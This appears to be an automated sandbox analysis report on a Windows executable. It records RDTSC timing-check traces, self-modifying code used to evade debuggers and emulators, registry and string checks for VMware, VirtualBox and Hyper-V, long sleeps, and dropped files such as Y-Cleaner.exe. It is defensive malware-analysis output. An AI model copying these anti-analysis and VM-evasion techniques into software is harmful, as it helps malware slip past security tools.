Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D6159D second address: 4D615EB instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FF4C0C3E178h 0x00000008 and ecx, 3E07F318h 0x0000000e jmp 00007FF4C0C3E16Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 movzx ecx, dx 0x00000019 popad 0x0000001a or dword ptr [edx+38h], FFFFFFFFh 0x0000001e jmp 00007FF4C0C3E16Bh 0x00000023 or dword ptr [edx+3Ch], FFFFFFFFh 0x00000027 pushad 0x00000028 mov ebx, esi 0x0000002a push eax 0x0000002b push edx 0x0000002c mov dx, si 0x0000002f rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4DA0E2B second address: 4DA0E2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4DA0E2F second address: 4DA0E35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D40C3F second address: 4D40C5F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C05015A5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D40C5F second address: 4D40C72 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C0C3E16Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D40C72 second address: 4D40CA0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C05015A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FF4C050159Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D61708 second address: 4D6171B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 mov ebx, 2E1DCDF4h 0x0000000a popad 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D6171B second address: 4D6172F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C05015A0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D6172F second address: 4D61735 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D61735 second address: 4D61746 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [ebp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D61746 second address: 4D6174C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D6174C second address: 4D61752 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D61752 second address: 4D6177F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [ebp+0Ch] 0x0000000b jmp 00007FF4C0C3E16Bh 0x00000010 push dword ptr [ebp+08h] 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FF4C0C3E170h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D6177F second address: 4D6178E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C050159Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D6178E second address: 4D61794 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D61794 second address: 4D61798 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4DA00EF second address: 4DA0164 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF4C0C3E16Fh 0x00000009 add ax, 1E5Eh 0x0000000e jmp 00007FF4C0C3E179h 0x00000013 popfd 0x00000014 mov ecx, 4C259F27h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c push eax 0x0000001d jmp 00007FF4C0C3E16Dh 0x00000022 xchg eax, ebp 0x00000023 jmp 00007FF4C0C3E16Eh 0x00000028 mov ebp, esp 0x0000002a jmp 00007FF4C0C3E170h 0x0000002f pop ebp 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 mov edi, 27F2AAD0h 0x00000038 mov esi, edx 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4DA0164 second address: 4DA016A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4DA016A second address: 4DA016E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4DA016E second address: 4DA0172 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4DA003D second address: 4DA0057 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, di 0x00000006 movsx ebx, cx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FF4C0C3E16Bh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4DA0057 second address: 4DA00A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C05015A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FF4C050159Ch 0x00000012 xor eax, 4E6205A8h 0x00000018 jmp 00007FF4C050159Bh 0x0000001d popfd 0x0000001e popad 0x0000001f pop ebp 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 mov al, 12h 0x00000025 mov cl, dl 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4DA00A0 second address: 4D40C3F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C0C3E175h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp dword ptr [74E5155Ch] 0x0000000f mov edi, edi 0x00000011 push ebp 0x00000012 mov ebp, esp 0x00000014 mov ecx, dword ptr fs:[00000018h] 0x0000001b mov eax, dword ptr [ebp+08h] 0x0000001e mov dword ptr [ecx+34h], 00000000h 0x00000025 cmp eax, 40h 0x00000028 jnc 00007FF4C0C3E16Dh 0x0000002a mov eax, dword ptr [ecx+eax*4+00000E10h] 0x00000031 pop ebp 0x00000032 retn 0004h 0x00000035 test eax, eax 0x00000037 je 00007FF4C0C3E183h 0x00000039 mov eax, dword ptr [00432010h] 0x0000003e cmp eax, FFFFFFFFh 0x00000041 je 00007FF4C0C3E179h 0x00000043 mov esi, 0042F218h 0x00000048 push esi 0x00000049 call 00007FF4C557D42Ah 0x0000004e mov edi, edi 0x00000050 jmp 00007FF4C0C3E170h 0x00000055 xchg eax, ebp 0x00000056 jmp 00007FF4C0C3E170h 0x0000005b push eax 0x0000005c push eax 0x0000005d push edx 0x0000005e pushad 0x0000005f mov cx, BDE3h 0x00000063 mov si, 553Fh 0x00000067 popad 0x00000068 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4DA02AF second address: 4DA02B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4DA02B5 second address: 4DA02B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4DA02B9 second address: 4DA0306 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C050159Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FF4C05015A2h 0x00000013 add si, 3478h 0x00000018 jmp 00007FF4C050159Bh 0x0000001d popfd 0x0000001e popad 0x0000001f xchg eax, ebp 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007FF4C05015A0h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4DA0306 second address: 4DA030C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4DA030C second address: 4DA031D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, bx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov dl, al 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4DA0D69 second address: 4DA0DD7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, EEB6h 0x00000007 pushfd 0x00000008 jmp 00007FF4C0C3E177h 0x0000000d sub eax, 0DB9473Eh 0x00000013 jmp 00007FF4C0C3E179h 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c mov ebp, esp 0x0000001e jmp 00007FF4C0C3E16Eh 0x00000023 mov eax, dword ptr [ebp+08h] 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007FF4C0C3E177h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4DA0CA9 second address: 4DA0CC6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C05015A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4DA0BAE second address: 4DA0C2C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, bx 0x00000006 mov dx, BE36h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push ebx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FF4C0C3E178h 0x00000015 sub cx, 9D58h 0x0000001a jmp 00007FF4C0C3E16Bh 0x0000001f popfd 0x00000020 pushfd 0x00000021 jmp 00007FF4C0C3E178h 0x00000026 add si, A7B8h 0x0000002b jmp 00007FF4C0C3E16Bh 0x00000030 popfd 0x00000031 popad 0x00000032 mov dword ptr [esp], ebp 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007FF4C0C3E175h 0x0000003c rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4DB01D0 second address: 4DB01D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4DB01D4 second address: 4DB01DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4DB01DA second address: 4DB021E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edi 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FF4C05015A0h 0x0000000e xchg eax, ebp 0x0000000f pushad 0x00000010 mov di, si 0x00000013 pushfd 0x00000014 jmp 00007FF4C050159Ah 0x00000019 xor esi, 113FA1F8h 0x0000001f jmp 00007FF4C050159Bh 0x00000024 popfd 0x00000025 popad 0x00000026 mov ebp, esp 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4DB021E second address: 4DB0224 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4DB00A3 second address: 4DB00A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4DB00A7 second address: 4DB00AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4DC07EA second address: 4DC07F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4DC07F0 second address: 4DC07F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4DC065D second address: 4DC0663 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4DC0663 second address: 4DC0667 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4DC0667 second address: 4DC067E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FF4C050159Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4DC067E second address: 4DC068D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C0C3E16Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4DC068D second address: 4DC06EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF4C050159Fh 0x00000009 xor si, 3D5Eh 0x0000000e jmp 00007FF4C05015A9h 0x00000013 popfd 0x00000014 mov bx, ax 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov dword ptr [esp], ebp 0x0000001d pushad 0x0000001e jmp 00007FF4C05015A8h 0x00000023 mov ecx, 08D8C221h 0x00000028 popad 0x00000029 mov ebp, esp 0x0000002b pushad 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D409C7 second address: 4D409CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D409CB second address: 4D409D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D409D1 second address: 4D40A18 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF4C0C3E173h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FF4C0C3E176h 0x00000011 push eax 0x00000012 jmp 00007FF4C0C3E16Bh 0x00000017 xchg eax, ebp 0x00000018 pushad 0x00000019 mov bl, ah 0x0000001b push eax 0x0000001c push edx 0x0000001d mov ebx, 6B0E4C82h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D40A18 second address: 4D40A36 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ebp, esp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FF4C05015A1h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D40A36 second address: 4D40A4B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C0C3E171h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D40A4B second address: 4D40A78 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C05015A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, dword ptr [ebp+08h] 0x0000000c jmp 00007FF4C050159Eh 0x00000011 or eax, FFFFFFFFh 0x00000014 pushad 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D40A78 second address: 4D40AC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 mov ax, C89Fh 0x0000000b popad 0x0000000c lock xadd dword ptr [ecx], eax 0x00000010 jmp 00007FF4C0C3E172h 0x00000015 dec eax 0x00000016 pushad 0x00000017 jmp 00007FF4C0C3E16Eh 0x0000001c popad 0x0000001d pop ebp 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FF4C0C3E179h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D40AC9 second address: 4D40ADE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C05015A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D40ADE second address: 4D40AE3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4DA036D second address: 4DA03A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C05015A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c jmp 00007FF4C050159Eh 0x00000011 mov ebp, esp 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 mov dx, FFA0h 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D7089D second address: 4D708AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C0C3E16Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D708AC second address: 4D708FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C05015A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov bl, D7h 0x0000000d popad 0x0000000e xchg eax, ebp 0x0000000f jmp 00007FF4C05015A5h 0x00000014 mov ebp, esp 0x00000016 jmp 00007FF4C050159Eh 0x0000001b pop ebp 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D708FB second address: 4D708FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Special instruction interceptor: First address: 81CA12 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Special instruction interceptor: First address: 81CB01 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Special instruction interceptor: First address: 9C64A8 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Special instruction interceptor: First address: 9C4ECD instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Special instruction interceptor: First address: 9D7690 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Special instruction interceptor: First address: 81C9A7 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc			Jump to behavior
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion			Jump to behavior
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion			Jump to behavior

Source: C:\Users\user\Desktop\dI3n4LSHB7.exe

Code function: 0_2_0081C98C rdtsc

Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]			Jump to dropped file
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\eEwf3ZG9fBWYD5w\Y-Cleaner.exe			Jump to dropped file
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\eEwf3ZG9fBWYD5w\Bunifu_UI_v1.5.3.dll			Jump to dropped file
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1]			Jump to dropped file

Source: C:\Users\user\Desktop\dI3n4LSHB7.exe TID: 6784	Thread sleep count: 99 > 30			Jump to behavior
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe TID: 6860	Thread sleep time: -42021s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe TID: 6864	Thread sleep time: -36018s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe TID: 6784	Thread sleep count: 94 > 30			Jump to behavior
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe TID: 6784	Thread sleep count: 83 > 30			Jump to behavior
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe TID: 6784	Thread sleep count: 101 > 30			Jump to behavior
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe TID: 6784	Thread sleep count: 91 > 30			Jump to behavior
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe TID: 6784	Thread sleep count: 89 > 30			Jump to behavior
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe TID: 6832	Thread sleep time: -34017s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe TID: 6880	Thread sleep time: -40020s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe TID: 6904	Thread sleep time: -40020s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe TID: 6884	Thread sleep time: -48024s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe TID: 6828	Thread sleep time: -38019s >= -30000s			Jump to behavior

Source: dI3n4LSHB7.exe, dI3n4LSHB7.exe, 00000000.00000002.2420658294.00000000009A4000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Amcache.hve.7.dr	Binary or memory string: VMware
Source: Amcache.hve.7.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.7.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.7.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.7.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.7.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.7.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.7.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: dI3n4LSHB7.exe, 00000000.00000003.1875573218.000000000547B000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2054547195.000000000547B000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2004146869.000000000547B000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1978929182.000000000547B000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000002.2421379275.0000000000E37000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1953645739.000000000547B000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000002.2423473843.000000000547B000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1850067777.000000000547B000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1927437039.000000000547B000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1824890347.000000000547B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.7.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.7.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.7.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.7.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.7.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.7.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.7.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.7.dr	Binary or memory string: \driver\vmci,\driver\pci
